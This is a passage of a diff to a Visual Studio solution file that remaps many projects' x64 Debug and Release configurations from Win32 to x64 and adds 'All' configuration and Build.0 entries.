+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.All|x64.Build.0 = Release|x64
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|Win32.Build.0 = Debug|Win32
-		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|x64.ActiveCfg = Debug|Win32
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|x64.ActiveCfg = Debug|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|x64.Build.0 = Debug|x64
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|Win32.ActiveCfg = Release|Win32
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|Win32.Build.0 = Release|Win32
-		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|x64.ActiveCfg = Release|Win32
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|x64.ActiveCfg = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|x64.Build.0 = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.All|Win32.ActiveCfg = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.All|x64.ActiveCfg = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.All|x64.Build.0 = Release|x64
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|Win32.Build.0 = Debug|Win32
-		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|x64.ActiveCfg = Debug|Win32
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|x64.ActiveCfg = Debug|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|x64.Build.0 = Debug|x64
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|Win32.ActiveCfg = Release|Win32
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|Win32.Build.0 = Release|Win32
-		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|x64.ActiveCfg = Release|Win32
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|x64.ActiveCfg = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|x64.Build.0 = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.All|Win32.ActiveCfg = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.All|x64.ActiveCfg = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.All|x64.Build.0 = Release|x64
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|Win32.Build.0 = Debug|Win32
-		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|x64.ActiveCfg = Debug|Win32
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|x64.ActiveCfg = Debug|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|x64.Build.0 = Debug|x64
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|Win32.ActiveCfg = Release|Win32
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|Win32.Build.0 = Release|Win32
-		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|x64.ActiveCfg = Release|Win32
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|x64.ActiveCfg = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|x64.Build.0 = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.All|Win32.ActiveCfg = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.All|x64.ActiveCfg = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.All|x64.Build.0 = Release|x64
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|Win32.Build.0 = Debug|Win32
-		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|x64.ActiveCfg = Debug|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|x64.ActiveCfg = Debug|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|x64.Build.0 = Debug|x64
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|Win32.ActiveCfg = Release|Win32
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|Win32.Build.0 = Release|Win32
-		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|x64.ActiveCfg = Release|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|x64.ActiveCfg = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|x64.Build.0 = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.All|Win32.ActiveCfg = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.All|x64.ActiveCfg = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.All|x64.Build.0 = Release|x64
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|Win32.ActiveCfg = Debug|Win32
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|Win32.Build.0 = Debug|Win32
-		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|x64.ActiveCfg = Debug|Win32
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|x64.ActiveCfg = Debug|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|x64.Build.0 = Debug|x64
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|Win32.ActiveCfg = Release|Win32
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|Win32.Build.0 = Release|Win32
-		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|x64.ActiveCfg = Release|Win32
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|x64.ActiveCfg = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|x64.Build.0 = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.All|Win32.ActiveCfg = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.All|x64.ActiveCfg = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.All|x64.Build.0 = Release|x64
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|Win32.Build.0 = Debug|Win32
-		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|x64.ActiveCfg = Debug|Win32
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|x64.ActiveCfg = Debug|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|x64.Build.0 = Debug|x64
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|Win32.ActiveCfg = Release|Win32
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|Win32.Build.0 = Release|Win32
-		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|x64.ActiveCfg = Release|Win32
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|x64.ActiveCfg = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|x64.Build.0 = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.All|Win32.ActiveCfg = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.All|x64.ActiveCfg = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.All|x64.Build.0 = Release|x64
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|Win32.ActiveCfg = Debug|Win32
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|Win32.Build.0 = Debug|Win32
-		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|x64.ActiveCfg = Debug|Win32
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|x64.ActiveCfg = Debug|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|x64.Build.0 = Debug|x64
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|Win32.ActiveCfg = Release|Win32
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|Win32.Build.0 = Release|Win32
-		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|x64.ActiveCfg = Release|Win32
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|x64.ActiveCfg = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|x64.Build.0 = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.All|Win32.ActiveCfg = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.All|x64.ActiveCfg = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.All|x64.Build.0 = Release|x64
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|Win32.ActiveCfg = Debug|Win32
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|Win32.Build.0 = Debug|Win32
-		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|x64.ActiveCfg = Debug|Win32
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|x64.ActiveCfg = Debug|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|x64.Build.0 = Debug|x64
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|Win32.ActiveCfg = Release|Win32
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|Win32.Build.0 = Release|Win32
-		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|x64.ActiveCfg = Release|Win32
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|x64.ActiveCfg = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|x64.Build.0 = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.All|Win32.ActiveCfg = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.All|x64.ActiveCfg = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.All|x64.Build.0 = Release|x64
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|Win32.Build.0 = Debug|Win32
-		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|x64.ActiveCfg = Debug|Win32
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|x64.ActiveCfg = Debug|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|x64.Build.0 = Debug|x64
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|Win32.ActiveCfg = Release|Win32
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|Win32.Build.0 = Release|Win32
-		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|x64.ActiveCfg = Release|Win32
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|x64.ActiveCfg = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|x64.Build.0 = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.All|Win32.ActiveCfg = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.All|x64.ActiveCfg = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.All|x64.Build.0 = Release|x64
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|Win32.Build.0 = Debug|Win32
-		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|x64.ActiveCfg = Debug|Win32
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|x64.ActiveCfg = Debug|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|x64.Build.0 = Debug|x64
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|Win32.ActiveCfg = Release|Win32
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|Win32.Build.0 = Release|Win32
-		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|x64.ActiveCfg = Release|Win32
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|x64.ActiveCfg = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|x64.Build.0 = Release|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.All|Win32.ActiveCfg = Debug|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.All|x64.ActiveCfg = Debug|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.All|x64.Build.0 = Debug|x64
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|Win32.Build.0 = Debug|Win32
-		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|x64.ActiveCfg = Debug|Win32
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|x64.ActiveCfg = Debug|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|x64.Build.0 = Debug|x64
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|Win32.ActiveCfg = Release|Win32
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|Win32.Build.0 = Release|Win32
-		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|x64.ActiveCfg = Release|Win32
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|x64.ActiveCfg = Release|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|x64.Build.0 = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.All|Win32.ActiveCfg = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.All|x64.ActiveCfg = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.All|x64.Build.0 = Release|x64
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|Win32.Build.0 = Debug|Win32
-		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|x64.ActiveCfg = Debug|Win32
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|x64.ActiveCfg = Debug|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|x64.Build.0 = Debug|x64
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|Win32.ActiveCfg = Release|Win32
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|Win32.Build.0 = Release|Win32
-		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|x64.ActiveCfg = Release|Win32
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|x64.ActiveCfg = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|x64.Build.0 = Release|x64
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.All|Win32.ActiveCfg = Release|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.All|Win32.Build.0 = Release|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.All|x64.ActiveCfg = Release|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|Win32.ActiveCfg = Debug|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|Win32.Build.0 = Debug|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|x64.ActiveCfg = Debug|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|x64.Build.0 = Debug|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|Win32.ActiveCfg = Release|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|Win32.Build.0 = Release|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|x64.ActiveCfg = Release|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|x64.Build.0 = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.All|Win32.ActiveCfg = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.All|Win32.Build.0 = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.All|x64.ActiveCfg = Release|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|Win32.Build.0 = Debug|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|x64.ActiveCfg = Debug|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|x64.Build.0 = Debug|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Release|Win32.ActiveCfg = Release|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Release|Win32.Build.0 = Release|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Release|x64.ActiveCfg = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.Release|x64.Build.0 = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.All|Win32.ActiveCfg = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.All|Win32.Build.0 = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.All|x64.ActiveCfg = Release|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|Win32.Build.0 = Debug|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|x64.ActiveCfg = Debug|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|x64.Build.0 = Debug|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|Win32.ActiveCfg = Release|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|Win32.Build.0 = Release|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|x64.ActiveCfg = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|x64.Build.0 = Release|Win32
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.All|Win32.ActiveCfg = Debug|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.All|x64.ActiveCfg = Debug|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.All|x64.Build.0 = Debug|x64
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|Win32.Build.0 = Debug|Win32
-		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|x64.ActiveCfg = Debug|Win32
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|x64.ActiveCfg = Debug|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|x64.Build.0 = Debug|x64
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|Win32.ActiveCfg = Release|Win32
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|Win32.Build.0 = Release|Win32
-		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|x64.ActiveCfg = Release|Win32
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|x64.ActiveCfg = Release|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|x64.Build.0 = Release|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.All|Win32.ActiveCfg = Debug|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.All|x64.ActiveCfg = Debug|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.All|x64.Build.0 = Debug|x64
 		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|Win32.ActiveCfg = Debug|Win32
 		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|Win32.Build.0 = Debug|Win32
-		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|x64.ActiveCfg = Debug|Win32
+		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|x64.ActiveCfg = Debug|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|x64.Build.0 = Debug|x64
 		{94001A0E-A837-445C-8004-F918F10D0226}.Release|Win32.ActiveCfg = Release|Win32
 		{94001A0E-A837-445C-8004-F918F10D0226}.Release|Win32.Build.0 = Release|Win32
-		{94001A0E-A837-445C-8004-F918F10D0226}.Release|x64.ActiveCfg = Release|Win32
+		{94001A0E-A837-445C-8004-F918F10D0226}.Release|x64.ActiveCfg = Release|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.Release|x64.Build.0 = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.All|Win32.ActiveCfg = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.All|x64.ActiveCfg = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.All|x64.Build.0 = Release|x64
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|Win32.Build.0 = Debug|Win32
-		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|x64.ActiveCfg = Debug|Win32
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|x64.ActiveCfg = Debug|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|x64.Build.0 = Debug|x64
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|Win32.ActiveCfg = Release|Win32
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|Win32.Build.0 = Release|Win32
-		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|x64.ActiveCfg = Release|Win32
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|x64.ActiveCfg = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|x64.Build.0 = Release|x64
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|Win32.ActiveCfg = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|Win32.Build.0 = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|x64.ActiveCfg = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|x64.Build.0 = Release|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|Win32.Build.0 = Debug|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|x64.ActiveCfg = Debug|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|x64.Build.0 = Debug|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|Win32.ActiveCfg = Release|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|Win32.Build.0 = Release|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|x64.ActiveCfg = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|x64.Build.0 = Release|Win32
+		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.All|Win32.ActiveCfg = Release|Win32
+		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.All|x64.ActiveCfg = Release|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Debug|Win32.ActiveCfg = Debug|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Debug|x64.ActiveCfg = Debug|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Release|Win32.ActiveCfg = Release|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Release|x64.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|Win32.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|Win32.Build.0 = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|x64.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|x64.Build.0 = Release|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|Win32.Build.0 = Debug|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|x64.ActiveCfg = Debug|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|x64.Build.0 = Debug|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|Win32.ActiveCfg = Release|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|Win32.Build.0 = Release|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|x64.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|x64.Build.0 = Release|Win32
+		{7EB71250-F002-4ED8-92CA-CA218114537A}.All|Win32.ActiveCfg = Release|Win32
+		{7EB71250-F002-4ED8-92CA-CA218114537A}.All|x64.ActiveCfg = Release|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Debug|x64.ActiveCfg = Debug|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Release|Win32.ActiveCfg = Release|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Release|x64.ActiveCfg = Release|Win32
+		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.All|Win32.ActiveCfg = Release|Win32
+		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.All|x64.ActiveCfg = Release|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Debug|x64.ActiveCfg = Debug|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Release|Win32.ActiveCfg = Release|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Release|x64.ActiveCfg = Release|Win32
+		{464AAB78-5489-4916-BE51-BF8D61822311}.All|Win32.ActiveCfg = Release|Win32
+		{464AAB78-5489-4916-BE51-BF8D61822311}.All|x64.ActiveCfg = Release|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Debug|Win32.ActiveCfg = Debug|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Debug|x64.ActiveCfg = Debug|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Release|Win32.ActiveCfg = Release|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Release|x64.ActiveCfg = Release|Win32
+		{0AD1177E-1FD8-4643-9391-431467A11084}.All|Win32.ActiveCfg = Release|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.All|x64.ActiveCfg = Release|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.All|x64.Build.0 = Release|x64
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|Win32.Build.0 = Debug|Win32
-		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|x64.ActiveCfg = Debug|Win32
+		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|x64.ActiveCfg = Debug|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|x64.Build.0 = Debug|x64
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|Win32.ActiveCfg = Release|Win32
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|Win32.Build.0 = Release|Win32
-		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|x64.ActiveCfg = Release|Win32
